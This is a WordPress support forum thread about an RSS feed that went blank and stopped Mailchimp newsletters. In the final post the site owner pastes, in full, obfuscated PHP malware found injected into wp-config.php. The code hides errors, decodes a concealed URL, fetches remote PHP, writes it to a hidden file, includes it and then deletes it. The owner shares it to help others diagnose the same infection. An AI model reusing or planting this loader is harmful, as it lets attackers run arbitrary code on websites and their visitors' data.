• I think this began after the WP 4.9.6 update, but I can’t be 100% sure. I’ve tried everything (in a local dev copy): changing theme to 2017, disabling all plugins, clearing cache, etc. Nothing I do can get the RSS feed to show… which means the Mailchimp RSS campaign isn’t sending out notices to my site subscribers.

    Anyone else seeing this behavior recently?

    Any ideas how to fix it?

    The page I need help with: [log in to see the link]

Viewing 15 replies - 1 through 15 (of 15 total)
  • Moderator t-p

    (@t-p)

    Your feed does not validate.: http://validator.w3.org/feed/check.cgi?url=http%3A%2F%2Fyogawithspirit.com%2Ffeed%2F

    This may the issue. Try validating it and go from there

    Thread Starter TheRVgeeks

    (@thervgeeks)

    Thanks, @t-p. The problem, though, is that the feed just doesn’t exist! There’s literally nothing there… thus, it doesn’t validate! (Look at the bottom of the validation page… line 01 has nothing!)

    I thought it might be a plug-in. But de-activating them all didn’t solve it.

    I thought it might be the theme. But changing to Twenty Seventeen didn’t fix it, either.

    So I’m at a loss about what to try next.

    Thanks!

    Moderator t-p

    (@t-p)

    Have you written any posts (not pages)?

    Or, does your site contains ONLY pages — i.e., no posts?

    • This reply was modified 5 years, 10 months ago by t-p.
    Thread Starter TheRVgeeks

    (@thervgeeks)

    Lots of posts… and the RSS feed was working until sometime last week. MailChimp checks every day for new posts listed in the RSS feed and sends out a newsletter with the post content. New posts go out every Friday. It worked last on May 25. It didn’t work on June 1… so something happened in between.

    Moderator t-p

    (@t-p)

    Generally it’s because of some theme/plugin conflict.

    But you said you have already tested that.

    Have tested a default Theme (Twenty Seventeen, etc.) WITH ALL plugins off the SAME TIME?

    If that does not work, try MANUALLY updating. Download WordPress again and unzip it. Access your server via SFTP or FTP, or a file manager in your hosting account’s control panel (consult your hosting provider’s documentation for specifics on these), and delete then replace your copies of everything on the server except the wp-config.php file and the /wp-content/ directory with fresh copies from the download. This will effectively replace all of your core files without damaging your content and settings. Please read the Manual Update directions first.

    Backup: If you haven’t already done, always backup everything (including your database) before doing any actions, just in case something really goes wrong. You can never have enough backups!

    Thread Starter TheRVgeeks

    (@thervgeeks)

    Hi @t-p! Thanks, again. Yes… I tried it with plugins deactivated, plugins activated but a different theme (Twenty Seventeen), AND with new theme and all plugins deactivated. No difference. No feed.

    I’ve got a development version of the site running locally on “Local by Flywheel” (recreated with a backup from BackupBuddy). I tried downloading the ZIP of WP 4.9.6 and doing what you said… but when I do, the site doesn’t work at all. Followed the instructions in the “Manual Update” directions and everything. Literally… the site never loads.

    The backup comes from the live version of the site which is hosted on GoDaddy WordPress hosting. It’s a WordPress Multisite installation… so maybe that has something to do with it? I kept the “wp-config.php” file and the “wp-content” folder when I copied the new WP files over. But maybe something else needs to stay put? I’ll poke some more.

    Moderator t-p

    (@t-p)

    Have you discussed all this with GoDaddy?

    Thread Starter TheRVgeeks

    (@thervgeeks)

    No… they’re generally not too helpful with WordPress issues (since there’s so much that can go on beyond just maintaining the installation), but it’s a good idea. I’ll see if their support team has any ideas.

    Thread Starter TheRVgeeks

    (@thervgeeks)

    No helpful input from GoDaddy… but I did uncover some unusual behavior that I thought I’d share. It hasn’t helped me to hunt down the cause yet… but thought maybe someone else would have an idea.

    I tried re-installing the WP 4.9.6 files… and while the site worked, the feed still didn’t.

    I tried rolling back to WP 4.9.5… but that didn’t change anything, either.

    Then, taking a BackupBuddy copy of the site and installing it locally using Local by Flywheel… if I disable internet connectivity and load the local site’s RSS feed URL… it loads! As soon as I re-enable the internet connection on my computer, it doesn’t! So, obviously, the site is doing some kind of check for some resource on the internet that when it works… stops the feed. But when it doesn’t, the feed loads?!?!

    Ever hear of something like that?

    I’m stumped!

    Hi TheRVgeeks,

    Have you found a solution to your problem? We’re having the same issue and would appreciate some help if you can assist.

    Regards.

    Thread Starter TheRVgeeks

    (@thervgeeks)

    Hi @bobthebuilder69… unfortunately, no. No solution yet. RSS feed is still not working, so neither is MailChimp.

    Do you have any idea when this started being a problem for you? Maybe we can figure out if there’s a common element that might help us both?

    I have had the same problem on my website too. I have disabled plugins, looked at them one by one. Cannot validate the feed because it simply does not exist. Any help would be appreciated.

    Moderator t-p

    (@t-p)

    Side note to @deporres,

    If the troubleshooting already posted made no difference for you, then, as per the Forum Welcome, please post your own topic. A lot more people will see your post this way. That way you stand a good chance of getting the assistance you want.

    @t-p, Thanks.

    Thread Starter TheRVgeeks

    (@thervgeeks)

    Just an FYI… I think I found what my problem was. I think my site may have gotten “infected” with something. I was poking around in some files, comparing them to older versions from old backups, and found strange code in the wp-config.pho file. It looked like the following (right up near the top of the file, right after the <?php and ending before the comment section about base configurations):

    @ini_set('display_errors', '0');
    error_reporting(0);
    if (!$npDcheckClassBgp) {
    $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrLskZVkZ9Y1BPvOXNBbYNrscnSWJXqjTu18HYVk=";
    if (ini_get('allow_url_fopen')) {
        function get_data_ya($url) {
            $data = file_get_contents($url);
            return $data;
        }
    }
    else {
        function get_data_ya($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
    }
    function wp_cd($fd, $fa="")
    {
       $fe = "wp_frmfunct";
       $len = strlen($fd);
       $ff = '';
       $n = $len>100 ? 8 : 2;
       while( strlen($ff)<$len )
       {
          $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
       }
       return $fd^$ff;
    }
    $reqw = $ay($ao($oa("$pass"), 'wp_function'));
    preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
    $dirs = glob("*", GLOB_ONLYDIR);
    foreach ($dirs as $dira) {
    	if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
    	$subdirs = glob("$dira/*", GLOB_ONLYDIR);
    	foreach ($subdirs as $subdira) {
    		if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
    	}
    }
    if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
    fwrite($hdl, "<?php\n$mtchs[1]\n?>");
    fclose($hdl);
    include("{$eb}.$algo");
    unlink("{$eb}.$algo");
    $npDcheckClassBgp = 'aue';
    }

    Maybe this will help others solve their RSS feed problems… because when I removed that from the wp-config.php file, the feed started working again right away.

Viewing 15 replies - 1 through 15 (of 15 total)
  • The topic ‘RSS Feed Totally Blank’ is closed to new replies.